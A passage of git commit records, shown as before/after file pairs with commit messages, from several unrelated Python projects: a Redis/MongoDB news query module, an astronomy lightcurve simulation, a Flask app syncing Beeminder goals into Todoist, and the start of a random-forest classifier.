        else:  # no memory or data in memory are not enough, so query database
            entries = []
            col = Collection(db, language)
            if end_id:
                end_id_entry = col.find_one({'_id': ObjectId(end_id)})
                if end_id_entry:
                    end_id_updated = end_id_entry['updated']
                    items = col.find({'updated': {'$lt': end_id_updated}, 'categories': category}).sort(
                        'updated', -1).limit(limit)
                else:
                    return None
            # get the most recent limit number of entries
            else:
                items = col.find({'categories': category}).sort(
                    'updated', -1).limit(limit)
            for item in items:
                # string-ify all the values: ObjectId
                for x, y in item.iteritems():
                    if x != 'updated':
                        item[x] = str(y)
                entries.append(item)
            return entries
<commit_msg>changed search_limit to 50<commit_after>#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
inquirer find news from memory and database
"""
#@author chengdujin
#@contact chengdujin@gmail.com
#@created Jan 12, 2013

import sys
reload(sys)
sys.setdefaultencoding('UTF-8')

from bson.objectid import ObjectId
from config import Collection
from config import db
from config import rclient
import feedparser

# CONSTANTS
from config import LANGUAGES
from config import STRATEGY_WITHOUT_WEIGHTS
from config import STRATEGY_WITH_WEIGHTS

# TODO: need to refactor this method after sorting out feed.py
# TODO: added database inquire if language cannot be found in memory
def get_categories_by_language(language=None):
    """
    get a list of categories and hot news by language
    """
    if not language:
        return None
    search_limit = 50
    images_limit = 5

    category_images = {}
    # find category_images for each category
    key_wildcard = 'news::%s::*' % language
    categories_composite = rclient.keys(key_wildcard)
    if categories_composite:
        categories = [cc.replace('news::%s::' % language, "")
                      for cc in categories_composite]
        for category in categories:
            entries = get_latest_entries_by_category(
                language=language, category=category, limit=search_limit)
            # 'category A': [{'title':'xxx', 'image':'http://yyy.com/zzz.jpg'}]
            # image: category_image
            category_images[category] = []
            for entry in entries:
                if 'category_image' in entry and entry['category_image']:
                    item = {'title': entry['title'], 'image': entry['category_image'], 'updated': entry['updated']}
                    category_images[category].append(item)
                    # limit the number of category_image to
                    if len(category_images[category]) == images_limit:
                        break
    else:
        print "ERROR: %s not supported! Or database is corrupted!" % language

    # find hot_news_image from hot news
    # category_images['hot_news']
    entries = get_latest_entries_by_language(
        language=language, limit=search_limit)
    category_images['hot_news'] = []
    for entry in entries:
        if 'hot_news_image' in entry and entry['hot_news_image']:
            item = {'title': entry['title'], 'image': entry['hot_news_image'], 'updated': entry['updated']}
            category_images['hot_news'].append(item)
            if len(category_images['hot_news']) == images_limit:
                break

    # special formatting for android-end
    output = []
    for k, v in category_images.iteritems():
        output.append({'Category': k, 'Images': v})
    return {'Categories': output}

def get_latest_entries_by_language(language=None, limit=10, start_id=None, strategy=1):
    """
    find out latest news items by language
    """
    if not language:
        return None
    if not limit:
        return None
    if limit < 0 or limit > 100:
        return None
    language = language.strip()
    if language not in LANGUAGES:
        return None
    limit = int(limit)
    # get the latest entries
    entry_ids_total = rclient.zcard("news::%s" % language)
    entries = []
    if entry_ids_total:  # memory (partially) meets the limit
        if entry_ids_total >= limit:
            entry_ids = rclient.zrevrange("news::%s" % language, 0, limit - 1)
            for entry_id in entry_ids:
                if start_id and entry_id == start_id:
                    return entries
                entries.append(eval(rclient.get(entry_id)))
        else:
            entry_ids = rclient.zrevrange(
                "news::%s" % language, 0, entry_ids_total - 1)
            last_entry_in_memory = None
            for entry_id in entry_ids:
                if start_id and entry_id == start_id:
                    return entries
                last_entry_in_memory = eval(rclient.get(entry_id))
                entries.append(last_entry_in_memory)
            last_entry_in_memory_updated = last_entry_in_memory['updated']
            limit_in_database = limit - entry_ids_total
            # database
            col = Collection(db, language)
            items = col.find({'updated': {'$lt': last_entry_in_memory_updated}}).sort(
                'updated', -1).limit(limit_in_database)
            for item in items:
                if start_id and str(item['_id']) == start_id:
                    return entries
                # string-ify all the values: ObjectId
                for x, y in item.iteritems():
                    if x != 'updated':
                        item[x] = str(y)
                entries.append(item)
    else:  # query the database
        entries = []
        col = Collection(db, language)
        items = col.find().sort('updated', -1).limit(limit)
        for item in items:
            if start_id and str(item['_id']) == start_id:
                return entries
            # string-ify all the values: ObjectId
            for x, y in item.iteritems():
                if x != 'updated':
                    item[x] = str(y)
            entries.append(item)
    return entries

def get_previous_entries_by_language(language=None, limit=10, end_id=None, strategy=1):
    """
    strategy 1.query without considering weights 2.query with considering weights
    """
    if not language:
        return None
    if not limit:
        return None
    if limit < 0 or limit > 100:
        return None
    language = language.strip()
    if language not in LANGUAGES:
        return None
    limit = int(limit)
    # preprocess end_id
    entry_ids_total = 0
    end_id_index = 0
    END_ID_IN_MEMORY = False
    limit_in_memory = 0
    if not end_id:
        entry_ids_total = rclient.zcard("news::%s" % language)
        end_id_index = entry_ids_total
        if entry_ids_total:
            # end_id is assign the most recent one
            end_id = rclient.zrevrange("news::%s" % language, 0, 0)[0]
            END_ID_IN_MEMORY = True
            limit_in_memory = entry_ids_total
        else:
            end_id = None  # which is in most cases, pointless
            END_ID_IN_MEMORY = False
    else:
        end_id_index = rclient.zrank("news::%s" % language, end_id)
        END_ID_IN_MEMORY = True if end_id_index > 0 else False
        if END_ID_IN_MEMORY:
            limit_in_memory = rclient.zrank("news::%s" % language, end_id)
    # implement according to strategy
    if strategy == STRATEGY_WITHOUT_WEIGHTS:
        entries = []
        if END_ID_IN_MEMORY:  # see if data in memory suffice
            if limit_in_memory >= limit:  # purely get from memory
                entry_ids = rclient.zrevrange(
                    "news::%s" % language, entry_ids_total - end_id_index, entry_ids_total - end_id_index + limit - 1)
                for entry_id in entry_ids:
                    entries.append(eval(rclient.get(entry_id)))
            else:  # memory + database
                # memory
                entry_ids = rclient.zrevrange(
                    "news::%s" % language, entry_ids_total - end_id_index, entry_ids_total - end_id_index + limit_in_memory - 1)
                last_entry_in_memory = None
                for entry_id in entry_ids:
                    last_entry_in_memory = eval(rclient.get(entry_id))
                    entries.append(last_entry_in_memory)
                limit_in_database = limit - limit_in_memory
                last_entry_in_memory_updated = last_entry_in_memory['updated']
                # find the remaining items in database
                col = Collection(db, language)
                items = col.find({'updated': {'$lt': last_entry_in_memory_updated}}).sort(
                    'updated', -1).limit(limit_in_database)
                for item in items:
                    # string-ify all the values: ObjectId
                    for x, y in item.iteritems():
                        if x != 'updated':
                            item[x] = str(y)
                    entries.append(item)
            return entries
        else:  # no memory or data in memory are not enough, so query database
            entries = []
            col = Collection(db, language)
            if end_id:
                end_id_entry = col.find_one({'_id': ObjectId(end_id)})
                if end_id_entry:
                    end_id_updated = end_id_entry['updated']
                    items = col.find({'updated': {'$lt': end_id_updated}}).sort(
                        'updated', -1).limit(limit)
                else:
                    return None
            # get the most recent limit number of entries
            else:
                items = col.find().sort('updated', -1).limit(limit)
            for item in items:
                # string-ify all the values: ObjectId
                for x, y in item.iteritems():
                    if x != 'updated':
                        item[x] = str(y)
                entries.append(item)
            return entries
    elif strategy == STRATEGY_WITH_WEIGHTS:
        pass

def get_latest_entries_by_category(language=None, category=None, limit=10, start_id=None, strategy=1):
    """
    find out latest news items by category and language
    """
    if not language or not category:
        return None
    if not limit:
        return None
    if limit < 0 or limit > 100:
        return None
    language = language.strip()
    category = category.strip()
    if language not in LANGUAGES:
        return None
    limit = int(limit)
    collection_name = 'news::%s::%s' % (language, category)
    # get the latest entries
    entry_ids_total = rclient.zcard(collection_name)
    entries = []
    if entry_ids_total:  # memory (partially) meets the limit
        if entry_ids_total >= limit:
            entry_ids = rclient.zrevrange(collection_name, 0, limit - 1)
            for entry_id in entry_ids:
                if start_id and entry_id == start_id:
                    return entries
                entries.append(eval(rclient.get(entry_id)))
        else:
            entry_ids = rclient.zrevrange(
                collection_name, 0, entry_ids_total - 1)
            last_entry_in_memory = None
            for entry_id in entry_ids:
                if start_id and entry_id == start_id:
                    return entries
                last_entry_in_memory = eval(rclient.get(entry_id))
                entries.append(last_entry_in_memory)
            last_entry_in_memory_updated = last_entry_in_memory['updated']
            limit_in_database = limit - entry_ids_total
            # database
            col = Collection(db, language)
            # query categories array with only one of its values
            items = col.find({'updated': {'$lt': last_entry_in_memory_updated}, 'categories': category}).sort(
                'updated', -1).limit(limit_in_database)

            for item in items:
                if start_id and item['_id'] == start_id:
                    return entries
                # string-ify all the values: ObjectId
                for x, y in item.iteritems():
                    if x != 'updated':
                        item[x] = str(y)
                entries.append(item)
    else:  # query the database
        entries = []
        col = Collection(db, collection_name)
        items = col.find({'categories': category}).sort(
            'updated', -1).limit(limit)
        for item in items:
            if start_id and item['_id'] == start_id:
                return entries
            # string-ify all the values: ObjectId
            for x, y in item.iteritems():
                if x != 'updated':
                    item[x] = str(y)
            entries.append(item)
    return entries

def get_previous_entries_by_category(language=None, category=None, limit=10,
                                     end_id=None, strategy=1):
    """
    strategy
        1.query without considering weights
        2.query with considering weights
    """
    if not language or not category:
        return None
    if not limit:
        return None
    if limit < 0 or limit > 100:
        return None
    language = language.strip()
    category = category.strip()
    if language not in LANGUAGES:
        return None
    limit = int(limit)
    collection_name = 'news::%s::%s' % (language, category)
    # preprocess end_id
    entry_ids_total = 0
    end_id_index = 0
    END_ID_IN_MEMORY = False
    limit_in_memory = 0
    if not end_id:
        entry_ids_total = rclient.zcard(collection_name)
        end_id_index = entry_ids_total
        if entry_ids_total:
            # end_id is assign the most recent one
            end_id = rclient.zrevrange(collection_name, 0, 0)[0]
            END_ID_IN_MEMORY = True
            limit_in_memory = entry_ids_total
        else:
            end_id = None  # which is in most cases, pointless
            END_ID_IN_MEMORY = False
    else:
        end_id_index = rclient.zrank(collection_name, end_id)
        END_ID_IN_MEMORY = True if end_id_index > 0 else False
        if END_ID_IN_MEMORY:
            limit_in_memory = rclient.zrank(collection_name, end_id) + 1
    # implement according to strategy
    if strategy == STRATEGY_WITHOUT_WEIGHTS:
        entries = []
        if END_ID_IN_MEMORY:  # see if data in memory suffice
            if limit_in_memory >= limit:  # purely get from memory
                entry_ids = rclient.zrevrange(
                    collection_name, entry_ids_total - end_id_index, entry_ids_total - end_id_index + limit - 1)
                for entry_id in entry_ids:
                    entries.append(eval(rclient.get(entry_id)))
            else:  # memory + database
                # memory
                entry_ids = rclient.zrevrange(
                    collection_name, entry_ids_total - end_id_index, entry_ids_total - end_id_index + limit_in_memory - 1)
                last_entry_in_memory = None
                for entry_id in entry_ids:
                    last_entry_in_memory = eval(rclient.get(entry_id))
                    entries.append(last_entry_in_memory)
                limit_in_database = limit - limit_in_memory
                last_entry_in_memory_updated = last_entry_in_memory['updated']

                # find the remaining items in database
                col = Collection(db, language)
                items = col.find({'updated': {'$lt': last_entry_in_memory_updated}, 'categories': category}).sort(
                    'updated', -1).limit(limit_in_database)
                for item in items:
                    # string-ify all the values: ObjectId
                    for x, y in item.iteritems():
                        if x != 'updated':
                            item[x] = str(y)
                    entries.append(item)
            return entries
        else:  # no memory or data in memory are not enough, so query database
            entries = []
            col = Collection(db, language)
            if end_id:
                end_id_entry = col.find_one({'_id': ObjectId(end_id)})
                if end_id_entry:
                    end_id_updated = end_id_entry['updated']
                    items = col.find({'updated': {'$lt': end_id_updated}, 'categories': category}).sort(
                        'updated', -1).limit(limit)
                else:
                    return None
            # get the most recent limit number of entries
            else:
                items = col.find({'categories': category}).sort(
                    'updated', -1).limit(limit)
            for item in items:
                # string-ify all the values: ObjectId
                for x, y in item.iteritems():
                    if x != 'updated':
                        item[x] = str(y)
                entries.append(item)
            return entries
<|endoftext|>


<commit_before>"""
This file is part of the HoneyComb project.
Copyright 2015 David W. Hogg (NYU).
"""

import numpy as np
import pylab as plt

class Function:
    """
    # `Function`

    A function specification that is a constant level plus a sum of
    `J` sinusoids.
    """

    def __init__(self, J, a0, abklist):
        self.J = int(J)
        assert self.J == J
        self.a0 = a0
        self.abklist = None
        if self.J > 0:
            self.abklist = np.atleast_2d(np.array(abklist))
        if self.J > 0:
            Jtest, foo = self.abklist.shape
            print J, foo
            assert foo == 3
            assert self.J == Jtest

    def __str__(self):
        return "Function %d %f " % (self.J, self.a0) + str(self.abklist)

    def evaluate(self, xs):
        ys = np.zeros_like(xs) + self.a0
        if self.J == 0:
            return ys
        for a, b, k in self.abklist:
            ys += a * np.cos(k * xs) + b * np.sin(k * xs)
        return ys

    def definite_integral(self, d, u):
        I = (u - d) * self.a0
        if self.J == 0:
            return I
        for a, b, k in self.abklist:
            I += (a / k) * np.sin(k * u) - (b / k) * np.cos(k * u)
            I -= (a / k) * np.sin(k * d) - (b / k) * np.cos(k * d)
        return I

class Projection:
    """
    # `Projection`

    A local linear projection operator that is a linear combination of
    M top-hat definite integrals.
    """

    def __init__(self, M, duwlist):
        self.M = int(M)
        assert self.M == M
        self.duwlist = None
        if self.M > 0:
            self.duwlist = np.atleast_2d(np.array(duwlist))
        if self.M > 0:
            Mtest, foo = self.duwlist.shape
            assert foo == 3
            assert self.M == Mtest

    def __str__(self):
        return "Projection %d " % (self.M, ) + str(self.duwlist)

    def project(self, f):
        if self.M == 0:
            return 0.
        I = 0.
        for d, u, w in self.duwlist:
            I += w * f.definite_integral(d, u)
        return I

class LightCurveFootprint:
    """
    # `LightCurveFootprint`

    A list of `Projection` objects that describe a Kepler-like
    lightcurve's set of exposure times.
    """

    def __init__(self):
        delta_t = 30. / 60. / 24. # days
        # make regular grid in days
        t_centers = np.arange(0.5 * delta_t, 400., delta_t)
        t_exp = 0.95 * delta_t
        ds = t_centers - 0.5 * t_exp
        us = t_centers + 0.5 * t_exp
        ds = self._time_distort(ds)
        us = self._time_distort(us)
        self.x_centers = 0.5 * (ds + us)
        self.Ps = []
        for d, u in zip(us, ds):
            self.Ps.append(Projection(1, [[d, u, 1./(u - d)], ]))

    def _time_distort(self, xs):
        return xs + (8 / 60. / 24.) * np.cos(2. * np.pi * xs / 371.) # days

    def project(self, f):
        ys = np.zeros(len(self.Ps))
        for n, P in enumerate(self.Ps):
            ys[n] = P.project(f)
        return ys

if __name__ == "__main__":
    f = Function(2, 2.0, [[0.01, 0.0, 1.0], [0.02, 0.02, 50.2343344]])
    lcf = LightCurveFootprint()
    plt.clf()
    xplot = np.arange(0., 400., 0.0001)
    plt.plot(xplot, f.evaluate(xplot), "k-", alpha=0.25)
    plt.plot(lcf.x_centers, lcf.project(f), "ko", mfc="none")
    plt.savefig("foo.png")
    print "Hello World!"
<commit_msg>better init functions; better sim data<commit_after>"""
This file is part of the HoneyComb project.
Copyright 2015 David W. Hogg (NYU).
"""

import numpy as np
import pylab as plt

class Function:
    """
    # `Function`

    A function specification that is a constant level plus a sum of
    `J` sinusoids.
    """

    def __init__(self, a0, abks):
        self.J = 0
        self.a0 = a0
        self.abks = None
        if abks is not None:
            self.abks = np.atleast_2d(np.array(abks))
            J, foo = self.abks.shape
            print J, foo
            assert foo == 3
            self.J = J

    def __str__(self):
        return "Function %d %f " % (self.J, self.a0) + str(self.abks)

    def evaluate(self, xs):
        ys = np.zeros_like(xs) + self.a0
        if self.J == 0:
            return ys
        for a, b, k in self.abks:
            ys += a * np.cos(k * xs) + b * np.sin(k * xs)
        return ys

    def definite_integral(self, d, u):
        I = (u - d) * self.a0
        if self.J == 0:
            return I
        for a, b, k in self.abks:
            I += (a / k) * np.sin(k * u) - (b / k) * np.cos(k * u)
            I -= (a / k) * np.sin(k * d) - (b / k) * np.cos(k * d)
        return I

class Projection:
    """
    # `Projection`

    A local linear projection operator that is a linear combination of
    M top-hat definite integrals.
    """

    def __init__(self, duws):
        self.M = 0
        self.duws = None
        if duws is not None:
            self.duws = np.atleast_2d(np.array(duws))
            M, foo = self.duws.shape
            assert foo == 3
            self.M = M

    def __str__(self):
        return "Projection %d " % (self.M, ) + str(self.duws)

    def project(self, f):
        if self.M == 0:
            return 0.
        I = 0.
        for d, u, w in self.duws:
            I += w * f.definite_integral(d, u)
        return I

class LightCurveFootprint:
    """
    # `LightCurveFootprint`

    A list of `Projection` objects that describe a Kepler-like
    lightcurve's set of exposure times.
    """

    def __init__(self):
        delta_t = 30. / 60. / 24. # days
        # make regular grid in days
        t_centers = np.arange(0.5 * delta_t, 100., delta_t)
        t_exp = 0.95 * delta_t
        ds = t_centers - 0.5 * t_exp
        us = t_centers + 0.5 * t_exp
        ds = self._time_distort(ds)
        us = self._time_distort(us)
        self.x_centers = 0.5 * (ds + us)
        self.Ps = []
        for d, u in zip(us, ds):
            self.Ps.append(Projection([[d, u, 1./(u - d)], ]))

    def _time_distort(self, xs):
        return xs + (8. / 60. / 24.) * np.cos(2. * np.pi * xs / 371.) # 8 light-minutes in days

    def project(self, f):
        ys = np.zeros(len(self.Ps))
        for n, P in enumerate(self.Ps):
            ys[n] = P.project(f)
        return ys

if __name__ == "__main__":
    np.random.seed(42)
    k0 = (2 * np.pi / 5.132342) * 60 * 24 # 5-min period -> frequency in days
    dk = 0.01 * k0
    ks = k0 + dk * np.arange(-5., 5.1, 1.)
    abks = np.zeros((len(ks), 3))
    abks[:, 0] = 0.1 * np.random.normal(size=len(ks))
    abks[:, 1] = 0.1 * np.random.normal(size=len(ks))
    abks[:, 2] = ks
    f = Function(1.0, abks)
    lcf = LightCurveFootprint()
    plt.clf()
    # xplot = np.arange(0., 1000., 0.0001)
    # plt.plot(xplot, f.evaluate(xplot), "k-", alpha=0.25)
    plt.plot(lcf.x_centers, lcf.project(f), "k.", ms=0.75)
    plt.savefig("foo.png")
    print "Hello World!"
<|endoftext|>


<commit_before>from __future__ import print_function
import requests
import yaml
from flask import (Flask, render_template, url_for,
                   request, session, redirect, flash)
import todoist
from flask_sqlalchemy import SQLAlchemy
from models import build_models
import six.moves.urllib.parse as urlparse  # Python 2/3 compat
from datetime import datetime, timedelta
import os

app = Flask(__name__)
if "DYNO" in os.environ:
    app.logger.info(
        "Found DYNO environment variable, so assuming we're in Heroku")
    config = {
        "app": {
            "database_uri": os.environ["DATABASE_URL"]
        },
        "todoist": {
            "client_id": os.environ["TODOIST_CLIENT_ID"],
            "client_secret": os.environ["TODOIST_CLIENT_SECRET"]
        },
        "beeminder": {
            "client_id": os.environ["BEEMINDER_CLIENT_ID"],
            "client_secret": os.environ["BEEMINDER_CLIENT_SECRET"]
        },
        "flask": {
            "secret_key": os.environ["FLASK_ENCRYPTION_KEY"]
        }
    }
else:
    config = yaml.safe_load(open('config.yaml', 'r'))

app.secret_key = config["flask"]["secret_key"]
app.config['SQLALCHEMY_DATABASE_URI'] = config["app"]["database_uri"]
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
models = build_models(db)
User = models["User"]

@app.route("/")
def index():
    if "todoist_id" in session:
        config["beeminder_url"] = urlparse.urljoin(
            request.url_root, url_for('beeminder_oauth'))
        existing = User.query.filter_by(
            todoist_id=session["todoist_id"]).first()
        if existing is None:
            del session["todoist_id"]
            return redirect(url_for("index"))
        return render_template('index.html', data=existing, **config)
    else:
        return render_template('index.html', **config)

@app.route("/todoist/oauth", methods=["GET"])
def todoist_oauth():
    payload = {
        'client_id': config["todoist"]["client_id"],
        'client_secret': config["todoist"]["client_secret"],
        'code': request.args["code"],
        'redirect_uri': url_for("index")
    }
    r = requests.post("https://todoist.com/oauth/access_token", data=payload)
    ret = r.json()
    if "error" in ret:
        raise Exception(ret)
    access_token = ret["access_token"]
    flash("Logged into Todoist")
    api = todoist.api.TodoistAPI(access_token)
    api.sync()
    todoist_id = api["user"]["id"]
    existing = User.query.filter_by(todoist_id=todoist_id).all()
    if len(existing) == 0:
        user = User(todoist_id, access_token)
        db.session.add(user)
    elif len(existing) > 1:
        raise Exception(("Weird things", existing))
    db.session.commit()
    session["todoist_id"] = todoist_id
    return redirect(url_for('index'))

@app.route("/beeminder/oauth", methods=["GET"])
def beeminder_oauth():
    existing = User.query.filter_by(todoist_id=session["todoist_id"]).first()
    existing.update_beeminder(request.args["access_token"])
    db.session.commit()
    flash("Logged into Beeminder")
    return redirect(url_for('index'))

# From http://stackoverflow.com/a/25097622/320546
def nsf(num, n=1):
    """n-Significant Figures"""
    if num >= 10 ** n:
        return int(num)  # All available in the pre-decimal bits
    numstr = ("{0:.%ie}" % (n-1)).format(num)
    return float(numstr)

def update_tasks(user):
    api = todoist.api.TodoistAPI(user.todoist_access_token)
    api.sync()
    lm = todoist.managers.labels.LabelsManager(api)
    if "beeminder" not in [x.data['name'] for x in lm.all()]:
        lm.add("beeminder")
        api.commit()
    beeminder_label = [x for x in lm.all()
                       if x.data['name'] == "beeminder"][0].data['id']

    pm = todoist.managers.projects.ProjectsManager(api)
    if "Beeminder" not in [x.data['name'] for x in pm.all()]:
        pm.add("Beeminder")
        api.commit()
    else:
        try:
            project = [
                x for x in api['projects']
                if x['name'] == "Beeminder"][0]
        except IndexError:
            raise Exception(api)
        if project['is_deleted'] == 1:
            raise Exception(project)
    beeminder_project = [x for x in pm.all()
                         if x.data['name'] == "Beeminder"][0].data['id']

    goals = requests.get(
        "https://www.beeminder.com/api/v1/users/me/goals.json" +
        ("?filter=frontburner&access_token=%s"
         % user.beeminder_access_token))
    if goals.status_code == 401:
        print("Beeminder access token not valid for %s" % user)
        user.beeminder_access_token = None
        db.session.commit()
        return

    goals.raise_for_status()
    goals = goals.json()

    im = todoist.managers.items.ItemsManager(api)
    existing_names = [
        x['content'] for x in api['items']
        if beeminder_label in x['labels']]
    for goal in goals:
        title = goal['title']
        losedate = goal['losedate']
        when = datetime.fromtimestamp(losedate)
        if when.hour < 5:
            # assume a early morning fail time, and so use previous day
            when = when.date() - timedelta(days=1)
        else:
            when = when.date()
        longtitle = "%s (%s)" % (
            title, nsf(goal["safebump"]-goal["curval"], 2))
        if title in [x[:len(title)] for x in existing_names]:
            item = [x for x in api['items']
                    if x['content'][:len(title)] == title][0]
            if item['project_id'] != beeminder_project:
                im.move({item['project_id']: [item['id']]}, beeminder_project)
            im.update(item['id'],
                      content=longtitle,
                      date_string=when.strftime("%Y/%m/%d"),
                      checked=0,
                      in_history=0,
                      project_id=beeminder_project,
                      priority=3)
        else:
            item = im.add(longtitle, beeminder_project,
                          date_string=when.strftime("%Y/%m/%d"),
                          labels=[beeminder_label],
                          priority=3)
    api.commit()
    user.update()

@app.route("/todoist/update", methods=['POST'])
def todoist_update():
    existing = User.query.filter_by(todoist_id=session["todoist_id"]).first()
    update_tasks(existing)
    db.session.commit()
    flash("All goals updated in Todoist")
    return redirect(url_for('index'))

if __name__ == "__main__":
    users = User.query.all()
    for user in users:
        if user.beeminder_access_token is None:
            print("Skipping %s because no beeminder token" % user)
            continue
        print("Updating", user)
        update_tasks(user)
    db.session.commit()
<commit_msg>If can't get id, print info<commit_after>from __future__ import print_function
import requests
import yaml
from flask import (Flask, render_template, url_for,
                   request, session, redirect, flash)
import todoist
from flask_sqlalchemy import SQLAlchemy
from models import build_models
import six.moves.urllib.parse as urlparse  # Python 2/3 compat
from datetime import datetime, timedelta
import os

app = Flask(__name__)
if "DYNO" in os.environ:
    app.logger.info(
        "Found DYNO environment variable, so assuming we're in Heroku")
    config = {
        "app": {
            "database_uri": os.environ["DATABASE_URL"]
        },
        "todoist": {
            "client_id": os.environ["TODOIST_CLIENT_ID"],
            "client_secret": os.environ["TODOIST_CLIENT_SECRET"]
        },
        "beeminder": {
            "client_id": os.environ["BEEMINDER_CLIENT_ID"],
            "client_secret": os.environ["BEEMINDER_CLIENT_SECRET"]
        },
        "flask": {
            "secret_key": os.environ["FLASK_ENCRYPTION_KEY"]
        }
    }
else:
    config = yaml.safe_load(open('config.yaml', 'r'))

app.secret_key = config["flask"]["secret_key"]
app.config['SQLALCHEMY_DATABASE_URI'] = config["app"]["database_uri"]
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
models = build_models(db)
User = models["User"]

@app.route("/")
def index():
    if "todoist_id" in session:
        config["beeminder_url"] = urlparse.urljoin(
            request.url_root, url_for('beeminder_oauth'))
        existing = User.query.filter_by(
            todoist_id=session["todoist_id"]).first()
        if existing is None:
            del session["todoist_id"]
            return redirect(url_for("index"))
        return render_template('index.html', data=existing, **config)
    else:
        return render_template('index.html', **config)

@app.route("/todoist/oauth", methods=["GET"])
def todoist_oauth():
    payload = {
        'client_id': config["todoist"]["client_id"],
        'client_secret': config["todoist"]["client_secret"],
        'code': request.args["code"],
        'redirect_uri': url_for("index")
    }
    r = requests.post("https://todoist.com/oauth/access_token", data=payload)
    ret = r.json()
    if "error" in ret:
        raise Exception(ret)
    access_token = ret["access_token"]
    flash("Logged into Todoist")
    api = todoist.api.TodoistAPI(access_token)
    api.sync()
    try:
        todoist_id = api["user"]["id"]
    except KeyError:
        print(api)
        raise
    existing = User.query.filter_by(todoist_id=todoist_id).all()
    if len(existing) == 0:
        user = User(todoist_id, access_token)
        db.session.add(user)
    elif len(existing) > 1:
        raise Exception(("Weird things", existing))
    db.session.commit()
    session["todoist_id"] = todoist_id
    return redirect(url_for('index'))

@app.route("/beeminder/oauth", methods=["GET"])
def beeminder_oauth():
    existing = User.query.filter_by(todoist_id=session["todoist_id"]).first()
    existing.update_beeminder(request.args["access_token"])
    db.session.commit()
    flash("Logged into Beeminder")
    return redirect(url_for('index'))

# From http://stackoverflow.com/a/25097622/320546
def nsf(num, n=1):
    """n-Significant Figures"""
    if num >= 10 ** n:
        return int(num)  # All available in the pre-decimal bits
    numstr = ("{0:.%ie}" % (n-1)).format(num)
    return float(numstr)

def update_tasks(user):
    api = todoist.api.TodoistAPI(user.todoist_access_token)
    api.sync()
    lm = todoist.managers.labels.LabelsManager(api)
    if "beeminder" not in [x.data['name'] for x in lm.all()]:
        lm.add("beeminder")
        api.commit()
    beeminder_label = [x for x in lm.all()
                       if x.data['name'] == "beeminder"][0].data['id']

    pm = todoist.managers.projects.ProjectsManager(api)
    if "Beeminder" not in [x.data['name'] for x in pm.all()]:
        pm.add("Beeminder")
        api.commit()
    else:
        try:
            project = [
                x for x in api['projects']
                if x['name'] == "Beeminder"][0]
        except IndexError:
            raise Exception(api)
        if project['is_deleted'] == 1:
            raise Exception(project)
    beeminder_project = [x for x in pm.all()
                         if x.data['name'] == "Beeminder"][0].data['id']

    goals = requests.get(
        "https://www.beeminder.com/api/v1/users/me/goals.json" +
        ("?filter=frontburner&access_token=%s"
         % user.beeminder_access_token))
    if goals.status_code == 401:
        print("Beeminder access token not valid for %s" % user)
        user.beeminder_access_token = None
        db.session.commit()
        return

    goals.raise_for_status()
    goals = goals.json()

    im = todoist.managers.items.ItemsManager(api)
    existing_names = [
        x['content'] for x in api['items']
        if beeminder_label in x['labels']]
    for goal in goals:
        title = goal['title']
        losedate = goal['losedate']
        when = datetime.fromtimestamp(losedate)
        if when.hour < 5:
            # assume a early morning fail time, and so use previous day
            when = when.date() - timedelta(days=1)
        else:
            when = when.date()
        longtitle = "%s (%s)" % (
            title, nsf(goal["safebump"]-goal["curval"], 2))
        if title in [x[:len(title)] for x in existing_names]:
            item = [x for x in api['items']
                    if x['content'][:len(title)] == title][0]
            if item['project_id'] != beeminder_project:
                im.move({item['project_id']: [item['id']]}, beeminder_project)
            im.update(item['id'],
                      content=longtitle,
                      date_string=when.strftime("%Y/%m/%d"),
                      checked=0,
                      in_history=0,
                      project_id=beeminder_project,
                      priority=3)
        else:
            item = im.add(longtitle, beeminder_project,
                          date_string=when.strftime("%Y/%m/%d"),
                          labels=[beeminder_label],
                          priority=3)
    api.commit()
    user.update()

@app.route("/todoist/update", methods=['POST'])
def todoist_update():
    existing = User.query.filter_by(todoist_id=session["todoist_id"]).first()
    update_tasks(existing)
    db.session.commit()
    flash("All goals updated in Todoist")
    return redirect(url_for('index'))

if __name__ == "__main__":
    users = User.query.all()
    for user in users:
        if user.beeminder_access_token is None:
            print("Skipping %s because no beeminder token" % user)
            continue
        print("Updating", user)
        update_tasks(user)
    db.session.commit()
<|endoftext|>


<commit_before>"""
desitarget.myRF
===============

This module computes the Random Forest probability
and it stores the RF with our own persistency.
"""
import numpy as np
import sys

class myRF(object):
    """ Class for I/O operations and probability calculation for Random Forest
    """
    def __init__(self, data, modelDir, numberOfTrees=200, version=2):
        # loads the data once and initializes arrays
        self.data = data.copy()
        self.proba = np.zeros(len(data))
        self.bdtOutput = np.zeros(len(data))
        self.modelDir = modelDir
        self.version = version
        self.nTrees = numberOfTrees
        if self.version in [1, 2]:
            # print ("version is :",self.version)
            self.filesPerTree = 4  # for models-decals-dr3, (was 5 for models-decals)
        else:
            print("unsupported version=", self.version)
            sys.exit()

    def loadTree(self, treeFile, answerFile):
        # loads one tree and checks that the recursion limit is enough
        self.treeInfo = np.load(treeFile)
        self.treeAnswer = np.load(answerFile)
        if len(self.treeInfo) > sys.getrecursionlimit():
            sys.setrecursionlimit(int(len(self.treeInfo)*1.2))
            # print "WARNING recursion limit set to length(tree)*1.2 :",sys.getrecursionlimit()

    def unloadTree(self):
        # delete the current tree information to avoid memory leaks
        del self.treeInfo
        if self.version == 1:
            del self.treeAnswer

    def searchNodes(self, indices, nodeId=0):
        # recursively navigates in the tree and calculate the tree response
        nodeInfo = self.treeInfo[nodeId]

        # version without probability per leaf
#        if nodeInfo[0]==-1 :
#            if self.treeAnswer[nodeId,0,0]<self.treeAnswer[nodeId,0,1] :
#                score=1.
#            else :
#                score=0.
#            self.proba[indices]=score
#            return

        if nodeInfo[0] == -1:
            if self.version == 1:
                self.proba[indices] = self.treeAnswer[nodeId, 0, 1]*1./(self.treeAnswer[nodeId, 0, 0]+self.treeAnswer[nodeId, 0, 1])
            else:
                self.proba[indices] = nodeInfo[4]

            return

        leftChildId = nodeInfo[0]
        rightChildId = nodeInfo[1]
        feature = nodeInfo[2]
        threshold = nodeInfo[3]

        leftCond = (self.data[indices, feature] <= threshold)
        leftChildIndices = indices[leftCond]
#        rightCond = (self.data[indices,feature] > threshold)
        rightChildIndices = indices[leftCond is False]

        self.searchNodes(leftChildIndices, nodeId=leftChildId)
        self.searchNodes(rightChildIndices, nodeId=rightChildId)
        return

    def predict_proba(self):
        # calculate the forest response using the average response of the trees in the forest

        for iTree in np.arange(self.nTrees):
